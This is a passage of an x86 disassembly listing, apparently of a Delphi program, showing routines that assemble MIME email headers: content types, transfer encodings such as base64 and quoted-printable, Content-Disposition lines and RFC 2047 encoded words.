		mov	ecx, [ebp+var_10]
		mov	dl, [edx+ecx-1]
		call	sub_403670
		mov	edx, [ebp+var_14]
		lea	eax, [ebp+var_8]
		call	sub_40372C
		inc	[ebp+var_10]
		dec	esi
		jnz	short loc_411985

loc_4119A8:				; CODE XREF: sub_4118CC+B0j
		cmp	byte ptr [ebx+10h], 0
		jnz	short loc_4119CB
		lea	eax, [ebp+var_18]
		push	eax
		mov	cl, [ebx+12h]
		mov	dl, [ebx+13h]
		mov	eax, [ebp+var_8]
		call	sub_40EDA4
		mov	edx, [ebp+var_18]
		lea	eax, [ebp+var_8]
		call	sub_403560

loc_4119CB:				; CODE XREF: sub_4118CC+E0j
		lea	edx, [ebp+var_1C]
		mov	eax, [ebp+var_8]
		call	sub_40F4CC
		mov	edx, [ebp+var_1C]
		lea	eax, [ebp+var_8]
		call	sub_403560
		cmp	edi, 36h
		jz	short loc_4119F3
		lea	eax, [ebp+var_8]
		mov	edx, offset dword_411CF0
		call	sub_40372C

loc_4119F3:				; CODE XREF: sub_4118CC+118j
		mov	eax, [ebx+24h]
		mov	edx, [ebp+var_8]
		mov	ecx, [eax]
		call	dword ptr [ecx+34h]

loc_4119FE:				; CODE XREF: sub_4118CC+80j
		mov	eax, [ebx+28h]
		call	sub_40D830
		mov	esi, eax
		mov	eax, [ebx+28h]
		call	sub_40D84C
		cmp	esi, eax
		jl	loc_411951
		jmp	short loc_411A94
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411A1A:				; CODE XREF: sub_4118CC+7Aj
		mov	edx, [ebx+28h]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		call	dword ptr [ecx+5Ch]
		mov	eax, [ebp+var_4]
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		mov	esi, eax
		dec	esi
		test	esi, esi
		jl	short loc_411A94
		inc	esi
		mov	[ebp+var_10], 0

loc_411A3C:				; CODE XREF: sub_4118CC+1C6j
		lea	ecx, [ebp+var_8]
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_4]
		mov	edi, [eax]
		call	dword ptr [edi+0Ch]
		cmp	byte ptr [ebx+10h], 0
		jnz	short loc_411A6D
		lea	eax, [ebp+var_20]
		push	eax
		mov	cl, [ebx+12h]
		mov	dl, [ebx+13h]
		mov	eax, [ebp+var_8]
		call	sub_40EDA4
		mov	edx, [ebp+var_20]
		lea	eax, [ebp+var_8]
		call	sub_403560

loc_411A6D:				; CODE XREF: sub_4118CC+182j
		lea	edx, [ebp+var_24]
		mov	eax, [ebp+var_8]
		call	sub_40F3B4
		mov	edx, [ebp+var_24]
		lea	eax, [ebp+var_8]
		call	sub_403560
		mov	eax, [ebx+24h]
		mov	edx, [ebp+var_8]
		mov	ecx, [eax]
		call	dword ptr [ecx+34h]
		inc	[ebp+var_10]
		dec	esi
		jnz	short loc_411A3C

loc_411A94:				; CODE XREF: sub_4118CC+61j
					; sub_4118CC+71j ...
		mov	eax, [ebx+24h]
		xor	edx, edx
		mov	ecx, [eax]
		call	dword ptr [ecx+34h]
		mov	eax, [ebx+24h]
		xor	ecx, ecx
		xor	edx, edx
		mov	esi, [eax]
		call	dword ptr [esi+54h]
		cmp	dword ptr [ebx+14h], 0
		jnz	short loc_411AFD
		mov	al, [ebx+10h]
		sub	al, 1
		jb	short loc_411AC3
		jz	short loc_411AD2
		dec	al
		jz	short loc_411AE1
		dec	al
		jz	short loc_411AF0
		jmp	short loc_411AFD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411AC3:				; CODE XREF: sub_4118CC+1E9j
		lea	eax, [ebx+14h]
		mov	edx, offset aPlain ; "plain"
		call	sub_40351C
		jmp	short loc_411AFD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411AD2:				; CODE XREF: sub_4118CC+1EBj
		lea	eax, [ebx+14h]
		mov	edx, offset aMixed ; "mixed"
		call	sub_40351C
		jmp	short loc_411AFD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411AE1:				; CODE XREF: sub_4118CC+1EFj
		lea	eax, [ebx+14h]
		mov	edx, offset aRfc822 ; "rfc822"
		call	sub_40351C
		jmp	short loc_411AFD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411AF0:				; CODE XREF: sub_4118CC+1F3j
		lea	eax, [ebx+14h]
		mov	edx, offset dword_411D2C
		call	sub_40351C

loc_411AFD:				; CODE XREF: sub_4118CC+1E2j
					; sub_4118CC+1F5j ...
		cmp	dword ptr [ebx+18h], 0
		jz	short loc_411B20
		mov	ecx, [ebx+18h]
		lea	eax, [ebp+var_28]
		mov	edx, offset aContentDisposi ; "Content-Disposition: "
		call	sub_403770
		mov	ecx, [ebp+var_28]
		mov	eax, [ebx+24h]
		xor	edx, edx
		mov	esi, [eax]
		call	dword ptr [esi+54h]

loc_411B20:				; CODE XREF: sub_4118CC+235j
		mov	al, [ebx+11h]
		sub	al, 1
		jb	short loc_411B33
		jz	short loc_411B42
		dec	al
		jz	short loc_411B51
		dec	al
		jz	short loc_411B60
		jmp	short loc_411B6D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411B33:				; CODE XREF: sub_4118CC+259j
		lea	eax, [ebp+var_8]
		mov	edx, offset a7bit ; "7bit"
		call	sub_403560
		jmp	short loc_411B6D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411B42:				; CODE XREF: sub_4118CC+25Bj
		lea	eax, [ebp+var_8]
		mov	edx, offset a8bit ; "8bit"
		call	sub_403560
		jmp	short loc_411B6D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411B51:				; CODE XREF: sub_4118CC+25Fj
		lea	eax, [ebp+var_8]
		mov	edx, offset aQuotedPrintabl ; "quoted-printable"
		call	sub_403560
		jmp	short loc_411B6D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411B60:				; CODE XREF: sub_4118CC+263j
		lea	eax, [ebp+var_8]
		mov	edx, offset aBase64 ; "base64"
		call	sub_403560

loc_411B6D:				; CODE XREF: sub_4118CC+265j
					; sub_4118CC+274j ...
		mov	al, [ebx+10h]
		sub	al, 1
		jb	short loc_411B78
		sub	al, 2
		jnz	short loc_411B95

loc_411B78:				; CODE XREF: sub_4118CC+2A6j
		lea	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_8]
		mov	edx, offset aContentTransfe ; "Content-Transfer-Encoding: "
		call	sub_403770
		mov	ecx, [ebp+var_2C]
		mov	eax, [ebx+24h]
		xor	edx, edx
		mov	esi, [eax]
		call	dword ptr [esi+54h]

loc_411B95:				; CODE XREF: sub_4118CC+2AAj
		mov	al, [ebx+10h]
		sub	al, 1
		jb	short loc_411BAB
		jz	short loc_411BDB
		dec	al
		jz	short loc_411C02
		dec	al
		jz	short loc_411C1E
		jmp	loc_411C76
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411BAB:				; CODE XREF: sub_4118CC+2CEj
		push	dword ptr [ebx+4]
		push	offset dword_411DD4
		push	dword ptr [ebx+14h]
		push	offset dword_411DE0
		lea	edx, [ebp+var_30]
		mov	al, [ebx+12h]
		call	sub_40EF00
		push	[ebp+var_30]
		lea	eax, [ebp+var_8]
		mov	edx, 5
		call	sub_4037E4
		jmp	loc_411C76
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411BDB:				; CODE XREF: sub_4118CC+2D0j
		push	dword ptr [ebx+4]
		push	offset dword_411DD4
		push	dword ptr [ebx+14h]
		push	offset dword_411DF4
		push	dword ptr [ebx+1Ch]
		push	offset dword_411E0C
		lea	eax, [ebp+var_8]
		mov	edx, 6
		call	sub_4037E4
		jmp	short loc_411C76
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411C02:				; CODE XREF: sub_4118CC+2D4j
		push	dword ptr [ebx+4]
		push	offset dword_411DD4
		push	dword ptr [ebx+14h]
		push	0
		lea	eax, [ebp+var_8]
		mov	edx, 4
		call	sub_4037E4
		jmp	short loc_411C76
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411C1E:				; CODE XREF: sub_4118CC+2D8j
		mov	edx, [ebx+20h]
		mov	eax, offset dword_411E18
		call	sub_4039B4
		test	eax, eax
		jnz	short loc_411C51
		push	dword ptr [ebx+4]
		push	offset dword_411DD4
		push	dword ptr [ebx+14h]
		push	offset dword_411E24
		push	dword ptr [ebx+20h]
		lea	eax, [ebp+var_8]
		mov	edx, 5
		call	sub_4037E4
		jmp	short loc_411C76
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411C51:				; CODE XREF: sub_4118CC+361j
		push	dword ptr [ebx+4]
		push	offset dword_411DD4
		push	dword ptr [ebx+14h]
		push	offset dword_411E34
		push	dword ptr [ebx+20h]
		push	offset dword_411E0C
		lea	eax, [ebp+var_8]
		mov	edx, 6
		call	sub_4037E4

loc_411C76:				; CODE XREF: sub_4118CC+2DAj
					; sub_4118CC+30Aj ...
		lea	eax, [ebp+var_34]
		mov	ecx, [ebp+var_8]
		mov	edx, offset dword_411E48
		call	sub_403770
		mov	ecx, [ebp+var_34]
		mov	eax, [ebx+24h]
		xor	edx, edx
		mov	ebx, [eax]
		call	dword ptr [ebx+54h]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_411CB0

loc_411CA0:				; CODE XREF: CODE:00411CAEj
		mov	eax, [ebp+var_4]
		call	sub_402BDC
		retn
sub_4118CC	endp ; sp = -48h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411CA9:				; DATA XREF: sub_4118CC+49o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_411CA0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411CB0:				; DATA XREF: sub_4118CC+3CFo
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_411CDF

loc_411CBD:				; CODE XREF: CODE:00411CDDj
		lea	eax, [ebp-34h]
		mov	edx, 9
		call	sub_4034EC
		lea	eax, [ebp-0Ch]
		mov	edx, 2
		call	sub_4034EC
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411CD8:				; DATA XREF: sub_4118CC+18o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_411CBD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411CDF:				; DATA XREF: CODE:00411CB8o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 1
dword_411CF0	dd 3Dh,	0FFFFFFFFh, 5	; DATA XREF: sub_4118CC+11Do
aPlain		db 'plain',0            ; DATA XREF: sub_4118CC+1FAo
		align 4
		dd 0FFFFFFFFh, 5
aMixed		db 'mixed',0            ; DATA XREF: sub_4118CC+209o
		align 4
		dd 0FFFFFFFFh, 6
aRfc822		db 'rfc822',0           ; DATA XREF: sub_4118CC+218o
		align 4
		dd 0FFFFFFFFh, 0Ch
dword_411D2C	dd 6574636Fh, 74732D74h, 6D616572h, 0, 0FFFFFFFFh, 15h
					; DATA XREF: sub_4118CC+227o
aContentDisposi	db 'Content-Disposition: ',0 ; DATA XREF: sub_4118CC+23Do
		align 4
		dd 0FFFFFFFFh, 4
a7bit		db '7bit',0             ; DATA XREF: sub_4118CC+26Ao
		align 4
		dd 0FFFFFFFFh, 4
a8bit		db '8bit',0             ; DATA XREF: sub_4118CC+279o
		align 4
		dd 0FFFFFFFFh, 10h
aQuotedPrintabl	db 'quoted-printable',0 ; DATA XREF: sub_4118CC+288o
		align 4
		dd 0FFFFFFFFh, 6
aBase64		db 'base64',0           ; DATA XREF: sub_4118CC+297o
		align 4
		dd 0FFFFFFFFh, 1Bh
aContentTransfe	db 'Content-Transfer-Encoding: ',0 ; DATA XREF: sub_4118CC+2B2o
		dd 0FFFFFFFFh, 1
dword_411DD4	dd 2Fh,	0FFFFFFFFh, 0Ah	; DATA XREF: sub_4118CC+2E2o
					; sub_4118CC+312o ...
dword_411DE0	dd 6863203Bh, 65737261h, 3D74h,	0FFFFFFFFh, 0Ch	; DATA XREF: sub_4118CC+2EAo
dword_411DF4	dd 6F62203Bh, 61646E75h, 223D7972h, 0, 0FFFFFFFFh, 1
					; DATA XREF: sub_4118CC+31Ao
dword_411E0C	dd 22h,	0FFFFFFFFh, 1	; DATA XREF: sub_4118CC+322o
					; sub_4118CC+398o
dword_411E18	dd 20h,	0FFFFFFFFh, 7	; DATA XREF: sub_4118CC+355o
dword_411E24	dd 616E203Bh, 3D656Dh, 0FFFFFFFFh, 8 ; DATA XREF: sub_4118CC+36Eo
dword_411E34	dd 616E203Bh, 223D656Dh, 0, 0FFFFFFFFh,	0Eh ; DATA XREF: sub_4118CC+390o
dword_411E48	dd 746E6F43h, 2D746E65h, 65707954h, 203Ah ; DATA XREF: sub_4118CC+3B0o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_411E58	proc near		; CODE XREF: sub_412708+4Bp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	0
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], edx
		mov	esi, eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_411F2F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	edx, edx
		mov	eax, esi
		call	sub_411F70
		lea	eax, [esi+14h]
		call	sub_4034C8
		lea	ecx, [ebp+var_C]
		mov	edx, offset dword_411F48
		mov	eax, [ebp+var_4]
		call	sub_41137C
		mov	eax, [ebp+var_C]
		lea	edx, [ebp+var_8]
		call	sub_406D54
		cmp	[ebp+var_8], 0
		jnz	short loc_411EBC
		lea	edx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		call	sub_406D54

loc_411EBC:				; CODE XREF: sub_411E58+57j
		mov	edi, 10h
		mov	ebx, offset off_41D76C

loc_411EC6:				; CODE XREF: sub_411E58+95j
		mov	eax, [ebx]
		mov	edx, [ebp+var_8]
		call	sub_403834
		jnz	short loc_411EE9
		mov	edx, [ebx+4]
		mov	eax, esi
		call	sub_411F70
		lea	eax, [esi+14h]
		mov	edx, [ebx+8]
		call	sub_40351C
		jmp	short loc_411EEF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411EE9:				; CODE XREF: sub_411E58+78j
		add	ebx, 0Ch
		dec	edi
		jnz	short loc_411EC6

loc_411EEF:				; CODE XREF: sub_411E58+8Fj
		cmp	dword ptr [esi+4], 0
		jnz	short loc_411F01
		mov	edx, offset aApplication ; "application"
		mov	eax, esi
		call	sub_411F70

loc_411F01:				; CODE XREF: sub_411E58+9Bj
		cmp	dword ptr [esi+14h], 0
		jnz	short loc_411F14
		lea	eax, [esi+14h]
		mov	edx, offset aMixed_0 ; "mixed"
		call	sub_40351C

loc_411F14:				; CODE XREF: sub_411E58+ADj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_411F36

loc_411F21:				; CODE XREF: CODE:00411F34j
		lea	eax, [ebp+var_C]
		mov	edx, 3
		call	sub_4034EC
		retn
sub_411E58	endp ; sp = -20h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411F2F:				; DATA XREF: sub_411E58+1Co
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_411F21
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_411F36:				; DATA XREF: sub_411E58+C4o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 1
dword_411F48	dd 2Eh,	0FFFFFFFFh, 0Bh	; DATA XREF: sub_411E58+3Bo
aApplication	db 'application',0      ; DATA XREF: sub_411E58+9Do
		dd 0FFFFFFFFh, 5
aMixed_0	db 'mixed',0            ; DATA XREF: sub_411E58+B2o
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_411F70	proc near		; CODE XREF: sub_411E58+2Bp
					; sub_411E58+7Fp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		xor	ecx, ecx
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_412008
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebx+4]
		mov	edx, [ebp+var_4]
		call	sub_40351C
		lea	edx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		call	sub_406D54
		mov	byte ptr [ebx+10h], 3
		mov	edx, [ebp+var_8]
		mov	eax, offset aText ; "TEXT"
		call	sub_4039B4
		dec	eax
		jnz	short loc_411FC5
		mov	byte ptr [ebx+10h], 0

loc_411FC5:				; CODE XREF: sub_411F70+4Fj
		mov	edx, [ebp+var_8]
		mov	eax, offset aMultipart ; "MULTIPART"
		call	sub_4039B4
		dec	eax
		jnz	short loc_411FD9
		mov	byte ptr [ebx+10h], 1

loc_411FD9:				; CODE XREF: sub_411F70+63j
		mov	edx, [ebp+var_8]
		mov	eax, offset aMessage ; "MESSAGE"
		call	sub_4039B4
		dec	eax
		jnz	short loc_411FED
		mov	byte ptr [ebx+10h], 2

loc_411FED:				; CODE XREF: sub_411F70+77j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_41200F

loc_411FFA:				; CODE XREF: CODE:0041200Dj
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_4034EC
		retn
sub_411F70	endp ; sp = -14h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_412008:				; DATA XREF: sub_411F70+1Co
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_411FFA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41200F:				; DATA XREF: sub_411F70+85o
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		dd 0FFFFFFFFh, 4
aText		db 'TEXT',0             ; DATA XREF: sub_411F70+44o
		align 4
		dd 0FFFFFFFFh, 9
aMultipart	db 'MULTIPART',0        ; DATA XREF: sub_411F70+58o
		align 4
		dd 0FFFFFFFFh, 7
aMessage	db 'MESSAGE',0          ; DATA XREF: sub_411F70+6Co

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_412048	proc near		; CODE XREF: sub_412240+51p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_5], cl
		mov	ebx, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_412143
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_C]
		push	eax
		mov	cl, [ebp+var_5]
		mov	edx, ebx
		mov	eax, [ebp+var_4]
		call	sub_40EDA4
		lea	edx, [ebp+var_14]
		mov	eax, [ebp+var_C]
		call	sub_40F3B4
		mov	edx, [ebp+var_14]
		lea	eax, [ebp+var_C]
		call	sub_403560
		lea	eax, [ebp+var_10]
		call	sub_4034C8
		mov	eax, [ebp+var_C]
		call	sub_403724
		mov	esi, eax
		test	esi, esi
		jle	short loc_4120F3
		mov	edi, 1

loc_4120BC:				; CODE XREF: sub_412048+A9j
		mov	eax, [ebp+var_C]
		mov	bl, [eax+edi-1]
		cmp	bl, 20h
		jnz	short loc_4120D7
		lea	eax, [ebp+var_10]
		mov	edx, offset dword_41215C
		call	sub_40372C
		jmp	short loc_4120EF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4120D7:				; CODE XREF: sub_412048+7Ej
		lea	eax, [ebp+var_18]
		mov	edx, [ebp+var_C]
		mov	edx, ebx
		call	sub_403670
		mov	edx, [ebp+var_18]
		lea	eax, [ebp+var_10]
		call	sub_40372C

loc_4120EF:				; CODE XREF: sub_412048+8Dj
		inc	edi
		dec	esi
		jnz	short loc_4120BC

loc_4120F3:				; CODE XREF: sub_412048+6Dj
		push	offset dword_412168
		lea	edx, [ebp+var_1C]
		mov	al, [ebp+var_5]
		call	sub_40EF00
		push	[ebp+var_1C]
		push	offset dword_412174
		push	[ebp+var_10]
		push	offset dword_412180
		mov	eax, [ebp+arg_0]
		mov	edx, 5
		call	sub_4037E4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_41214A

loc_41212D:				; CODE XREF: CODE:00412148j
		lea	eax, [ebp+var_1C]
		mov	edx, 5
		call	sub_4034EC
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_412048	endp ; sp = -48h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_412143:				; DATA XREF: sub_412048+27o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_41212D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41214A:				; DATA XREF: sub_412048+E0o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 3
dword_41215C	dd 30323Dh, 0FFFFFFFFh,	2 ; DATA XREF: sub_412048+83o
dword_412168	dd 3F3Dh, 0FFFFFFFFh, 3	; DATA XREF: sub_412048+ABo
dword_412174	dd 3F513Fh, 0FFFFFFFFh,	2 ; DATA XREF: sub_412048+BEo
dword_412180	dd 3D3Fh		; DATA XREF: sub_412048+C6o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_412184	proc near		; CODE XREF: sub_412240+24p

var_24		= dword	ptr -24h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFDCh
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_41220E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	ebx, ebx
		mov	eax, [ebp+var_4]
		call	sub_403724
		mov	edi, eax
		test	edi, edi
		jle	short loc_4121F8
		mov	esi, 1

loc_4121BB:				; CODE XREF: sub_412184+72j
		push	esi
		push	edi
		mov	esi, offset dword_412220
		lea	edi, [ebp+var_24]
		mov	ecx, 8
		repe movsd
		pop	edi
		pop	esi
		lea	eax, [ebp+var_24]
		mov	edx, ds:off_41DBFC
		mov	cl, 20h
		call	sub_402A44
		mov	eax, [ebp+var_4]
		mov	al, [eax+esi-1]
		and	eax, 0FFh
		bt	[ebp+var_24], eax
		jnb	short loc_4121F4
		mov	bl, 1
		jmp	short loc_4121F8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4121F4:				; CODE XREF: sub_412184+6Aj
		inc	esi
		dec	edi
		jnz	short loc_4121BB

loc_4121F8:				; CODE XREF: sub_412184+30j
					; sub_412184+6Ej
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_412215

loc_412205:				; CODE XREF: CODE:00412213j
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_412184	endp ; sp = -38h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41220E:				; DATA XREF: sub_412184+17o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_412205
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_412215:				; DATA XREF: sub_412184+7Co
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
dword_412220	dd 0FFFFFFFEh, 3 dup(0), 4 dup(0FFFFFFFFh) ; DATA XREF:	sub_412184+39o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_412240	proc near		; CODE XREF: sub_4122C8+58p
					; sub_412A08+8Cp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_4122B8
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_412184
		test	al, al
		jz	short loc_412298
		call	sub_40EEAC
		mov	edx, eax
		mov	ecx, ds:dword_4122C4
		mov	eax, [ebp+var_4]
		call	sub_40F230
		mov	ebx, eax
		push	esi
		call	sub_40EEAC
		mov	edx, eax
		mov	ecx, ebx
		mov	eax, [ebp+var_4]
		call	sub_412048
		jmp	short loc_4122A2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_412298:				; CODE XREF: sub_412240+2Bj
		mov	eax, esi
		mov	edx, [ebp+var_4]
		call	sub_40351C

loc_4122A2:				; CODE XREF: sub_412240+56j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4122BF

loc_4122AF:				; CODE XREF: CODE:004122BDj
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_412240	endp ; sp = -14h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4122B8:				; DATA XREF: sub_412240+16o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_4122AF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4122BF:				; DATA XREF: sub_412240+6Ao
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
dword_4122C4	dd 3FFh			; DATA XREF: sub_412240+34r

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4122C8	proc near		; CODE XREF: sub_412A08+107p
					; sub_412A08+135p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_41235C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		call	sub_4114A8
		lea	edx, [ebp+var_C]
		mov	eax, [ebp+var_4]
		call	sub_41140C
		cmp	[ebp+var_8], 0
		jnz	short loc_412315
		mov	eax, ebx
		mov	edx, [ebp+var_C]
		call	sub_40351C
		jmp	short loc_412341
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_412315:				; CODE XREF: sub_4122C8+3Fj
		push	offset dword_412370
		lea	edx, [ebp+var_10]
		mov	eax, [ebp+var_8]
		call	sub_412240
		push	[ebp+var_10]
		push	offset dword_41237C
		push	[ebp+var_C]
		push	offset dword_412388
		mov	eax, ebx
		mov	edx, 5
		call	sub_4037E4

loc_412341:				; CODE XREF: sub_4122C8+4Bj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_412363

loc_41234E:				; CODE XREF: CODE:00412361j
